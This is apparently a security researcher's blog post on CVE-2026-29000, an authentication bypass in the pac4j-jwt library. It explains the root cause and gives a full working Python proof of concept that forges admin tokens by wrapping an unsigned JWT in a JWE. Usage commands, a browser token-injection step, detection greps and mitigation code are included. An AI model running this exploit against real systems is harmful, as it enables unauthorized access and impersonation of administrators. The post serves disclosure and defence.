← Blog
// PoCCVE-2026-29000#pac4j#jwt#jwe#auth-bypass

CVE-2026-29000: PAC4J JWT Authentication Bypass — Technical Breakdown

A logic flaw in pac4j's JwtAuthenticator allows full authentication bypass by wrapping an unsigned PlainJWT (alg=none) inside a JWE. The server decrypts the envelope, finds a null SignedJWT, skips signature verification entirely, and builds a trusted user profile from attacker-controlled claims.

2026-03-24

Overview

PropertyDetail
CVE IDCVE-2026-29000
Affected Librarypac4j-jwt
Affected Versions< 4.5.9 / < 5.7.9 / < 6.3.3
SeverityCritical
TypeAuthentication Bypass
CWECWE-347: Improper Verification of Cryptographic Signature
Fixed Versions4.5.9+, 5.7.9+, 6.3.3+
PoC AuthorAmanja Francisco (0xDoomsKnight)
ContextRetired HackTheBox machine — Principal

This is a vulnerability I researched and built a PoC for in the context of the retired HackTheBox machine Principal. The root cause is a single unchecked null reference in the JWT validation path — not a cryptographic weakness, not a timing attack. Just a code path where the library trusts a token it never verified.

The full PoC is available at: github.com/PtechAmanja/CVE-2026-29000-pac4j-jwt-auth-bypass


Background: JWT, JWS, and JWE

To understand this vulnerability, you need to know the difference between three token formats that are often conflated.

JWT (JSON Web Token)

A JWT is a compact, URL-safe way to encode claims (key-value pairs) between parties. It is always a Base64URL-encoded header, a Base64URL-encoded payload (the claims), and a third component that depends on the token type.

JWS (JSON Web Signature)

A signed JWT — often what people mean when they say "JWT". The third component is a cryptographic signature over the header and payload. The recipient verifies the signature using the issuer's public key (RS256, ES256) or a shared secret (HS256). If the signature does not match, the token is rejected.

CODE
JWS format: base64url(header).base64url(payload).base64url(signature)

JWE (JSON Web Encryption)

An encrypted JWT. Instead of a signature, the token is encrypted — the recipient must decrypt it before reading the claims. JWE does NOT imply that the inner content is signed. A JWE can contain a JWS (encrypted+signed), a PlainJWT (encrypted but unsigned), or even a nested JWE.

CODE
JWE format: base64url(header).base64url(encryptedKey).base64url(IV).base64url(ciphertext).base64url(tag)

PlainJWT (alg=none)

A JWT with "alg": "none" in the header and an empty signature component. No cryptographic protection whatsoever — anyone can forge the claims. Most JWT libraries reject alg: none tokens at the surface level, but the check is often applied before decryption, not after.


The Vulnerability: Root Cause

The bug lives in pac4j's JwtAuthenticator.validateToken() method. The relevant code path (simplified):

JAVA
// pac4j JwtAuthenticator — vulnerable pseudocode
public void validate(TokenCredentials credentials) {
    String token = credentials.getToken();
    JWT jwt = JWTParser.parse(token);

    if (jwt instanceof EncryptedJWT) {
        // Decrypt the JWE envelope
        EncryptedJWT encryptedJWT = (EncryptedJWT) jwt;
        encryptedJWT.decrypt(decrypter);

        // Get the inner payload — expected to be a SignedJWT
        JWT inner = encryptedJWT.getPayload().toSignedJWT(); // ← RETURNS NULL for PlainJWT

        // Verify the inner token's signature
        inner.verify(verifier); // ← NullPointerException... or null check skipped
    }

    // Build user profile from claims — reached WITHOUT signature verification
    JWTClaimsSet claims = jwt.getJWTClaimsSet();
    buildProfile(credentials, claims);
}

The critical line: encryptedJWT.getPayload().toSignedJWT() returns null when the inner token is a PlainJWT. In the vulnerable versions, this null is not checked before the verification step is attempted — the verification is either silently skipped or short-circuits without rejecting the token. Execution falls through to buildProfile() which reads claims from the unverified PlainJWT payload and constructs a fully trusted user session.

Why This Works

  1. The JWE layer is correctly encrypted with the server's RSA public key — the decryption succeeds
  2. After decryption, the server expects a SignedJWT but gets a PlainJWT
  3. The null check on the SignedJWT is missing — signature verification is bypassed
  4. The claims in the PlainJWT are attacker-controlled — we set sub=admin, role=ROLE_ADMIN
  5. The server builds a trusted session from those claims

Encryption ≠ Authentication. The JWE envelope provides confidentiality (only the server can decrypt it), but the server needed its own public key to encrypt it — which is available via the JWKS endpoint. So the attacker uses the public key to encrypt arbitrary claims, and the server decrypts them as trusted.


Attack Requirements

No valid credentials required. No brute force. One request.


Exploit Flow

CODE
1. Fetch server's RSA public key from JWKS endpoint
        ↓
2. Craft malicious claims: sub=admin, role=ROLE_ADMIN
        ↓
3. Build unsigned PlainJWT (alg=none) containing those claims
        ↓
4. Wrap PlainJWT inside JWE — encrypt with server's RSA public key (RSA-OAEP-256 / A128GCM)
        ↓
5. Submit JWE token in Authorization: Bearer header
        ↓
6. Server decrypts JWE → finds PlainJWT → toSignedJWT() returns null
        ↓
7. Signature verification skipped → buildProfile() runs with attacker claims
        ↓
8. Server returns 200 — authenticated as admin

PoC: poc.py — Full Walkthrough

The PoC is a single Python script using jwcrypto and requests.

Dependencies

BASH
pip install jwcrypto requests

Core Logic

PYTHON
#!/usr/bin/env python3
"""
CVE-2026-29000 — pac4j-jwt Authentication Bypass PoC

A logic flaw in JwtAuthenticator allows bypassing auth by wrapping
an unsigned PlainJWT (alg=none) inside a JWE. The server decrypts
the JWE, finds a null SignedJWT, skips signature verification,
and builds a trusted profile from attacker-controlled claims.

Author: Doomsknight — 24 Mar 2026
"""

import base64, json, time, argparse, requests
from jwcrypto import jwk, jwt


def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()


def build_unsigned_jwt(claims):
    """Build a PlainJWT (alg=none) — no signature."""
    header = b64url(json.dumps({"alg": "none"}))
    body   = b64url(json.dumps(claims))
    return f"{header}.{body}."  # empty signature component


def forge_token(jwks_data, user="admin", role="ROLE_ADMIN"):
    key = jwk.JWK(**jwks_data)

    now = int(time.time())
    payload = {
        "sub": user,
        "role": role,
        "iss": "principal-platform",
        "iat": now,
        "exp": now + 3600
    }

    # Step 1 — build unsigned inner JWT
    inner_jwt = build_unsigned_jwt(payload)

    # Step 2 — wrap inside JWE using server's RSA public key
    outer_jwt = jwt.JWT(
        header={
            "alg": "RSA-OAEP-256",  # RSA encryption of the CEK
            "enc": "A128GCM",        # AES-GCM content encryption
            "cty": "JWT"             # inner content type = JWT
        },
        claims=inner_jwt
    )
    outer_jwt.make_encrypted_token(key)
    return outer_jwt.serialize()


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-29000 PoC")
    parser.add_argument("--jwks-url", required=True, help="JWKS endpoint URL")
    parser.add_argument("--target",   help="Target endpoint to test token against")
    parser.add_argument("--user",     default="admin")
    parser.add_argument("--role",     default="ROLE_ADMIN")
    args = parser.parse_args()

    print(f"[+] Fetching JWKS from {args.jwks_url}")
    jwks = requests.get(args.jwks_url, verify=False).json()["keys"][0]

    token = forge_token(jwks, args.user, args.role)

    print("\n[+] Forged Token:\n")
    print(token)

    print("\n[+] Browser Injection:\n")
    print(f'sessionStorage.setItem("auth_token", "{token}")')

    if args.target:
        print("\n[+] Testing token against target...")
        r = requests.get(args.target, headers={"Authorization": f"Bearer {token}"}, verify=False)
        print(f"[+] Status: {r.status_code}")
        print(r.text[:500])

if __name__ == "__main__":
    main()

Usage

BASH
# Basic — forge token and print it
python3 poc.py --jwks-url http://target/api/auth/jwks

# Full — forge + test against a protected endpoint
python3 poc.py \
  --jwks-url http://target/api/auth/jwks \
  --target   http://target/api/dashboard

# Custom impersonation
python3 poc.py \
  --jwks-url http://target/api/auth/jwks \
  --user superadmin \
  --role ROLE_SUPERADMIN

Expected Output

CODE
[+] Fetching JWKS from http://target/api/auth/jwks

[+] Forged Token:

eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwiY3R5IjoiSldUIn0...

[+] Browser Injection:

sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")

[+] Testing token against target...
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}

Browser Exploitation

If the application stores the auth token in sessionStorage:

JS
// Open DevTools → Console, paste:
sessionStorage.setItem("auth_token", "<PASTE_FORGED_TOKEN_HERE>")
// Navigate to /dashboard — you are now authenticated as admin

Why cty: JWT Is the Key

The "cty": "JWT" header on the outer JWE is what tells the pac4j library that the inner payload is itself a JWT and should be parsed accordingly. Without it, the server would treat the decrypted content as a plain string and likely reject it. With it, the server parses the inner PlainJWT, calls toSignedJWT() on it, gets null, and proceeds.

This is a subtle but important detail — the exploit only works because the attacker controls the JWE header and can set cty: JWT to trigger the vulnerable code path.


Impact

ScopeImpact
AuthenticationComplete bypass — forge any user identity
AuthorisationEscalate to any role including admin
ConfidentialityAccess all data available to impersonated user
IntegrityPerform any action available to impersonated user
AvailabilityDenial-of-service by abusing admin functionality

Any pac4j-protected endpoint is fully bypassed. There is no partial mitigation at the application layer — if the library version is vulnerable, every JWT-authenticated endpoint is vulnerable.


Detection

In Application Logs

Look for JWE tokens arriving at authentication endpoints where the inner content type is JWT (cty: JWT in the outer header):

BASH
# If your WAF or API gateway logs raw Authorization headers
grep -i "RSA-OAEP" access.log | grep "cty.*JWT"

Token Forensics

A forged token has a distinctive structure when decoded:

BASH
# Decode the outer JWE header (first segment, base64url)
echo "eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwiY3R5IjoiSldUIn0" \
  | base64 -d 2>/dev/null
# Output: {"alg":"RSA-OAEP-256","enc":"A128GCM","cty":"JWT"}

A legitimate token from a properly implemented server would contain a JWS (three-segment inner token with a non-empty signature). A malicious token's inner payload, after decryption, ends with a . and an empty signature: header.payload.

Runtime Detection (Java agent / interceptor)

In a patched or monitored environment, add a log line at the JWE decryption boundary:

JAVA
JWT inner = encryptedJWT.getPayload().toSignedJWT();
if (inner == null) {
    logger.warn("SECURITY: Received PlainJWT inside JWE from {}", request.getRemoteAddr());
    throw new CredentialsException("PlainJWT not allowed inside JWE");
}

Mitigation

Primary Fix — Upgrade pac4j-jwt

The only complete fix is upgrading to a patched version:

XML
<!-- Maven -->
<dependency>
    <groupId>org.pac4j</groupId>
    <artifactId>pac4j-jwt</artifactId>
    <version>6.3.3</version> <!-- or 5.7.9 / 4.5.9 depending on your branch -->
</dependency>
GRADLE
// Gradle
implementation 'org.pac4j:pac4j-jwt:6.3.3'

Secondary Fix — Explicit PlainJWT Rejection

If upgrading immediately is not possible, add an explicit check after JWE decryption:

JAVA
if (jwt instanceof PlainJWT) {
    throw new CredentialsException("PlainJWT not allowed as inner token of JWE");
}

Defence in Depth


Comparison to alg:none Attacks

The classic alg: none attack is well known: change the algorithm to none, strip the signature, and submit the modified token. Most JWT libraries have been patched against this for years — they explicitly reject alg: none at the surface level.

CVE-2026-29000 is different because the alg: none token is hidden inside a JWE. The surface-level check never sees it:

Classic alg:noneCVE-2026-29000
Token structureheader.payload. (no signature)JWE wrapping a PlainJWT
Blocked by surface alg:none checkYes — most librariesNo — the outer token is a valid JWE
Requires public keyNoYes (but it's public)
Affected by standard mitigationsYesNo

This is a more sophisticated variant that bypasses the standard defences.


Timeline

DateEvent
Mar 24, 2026CVE-2026-29000 disclosed, PoC published by 0xDoomsKnight
Mar 24, 2026Patched versions 4.5.9 / 5.7.9 / 6.3.3 released by pac4j team

References


Disclaimer

This research and PoC are published for educational and defensive security purposes. Only test against systems you own or have explicit written authorisation to test. Unauthorised access to computer systems is illegal.

← Back to blog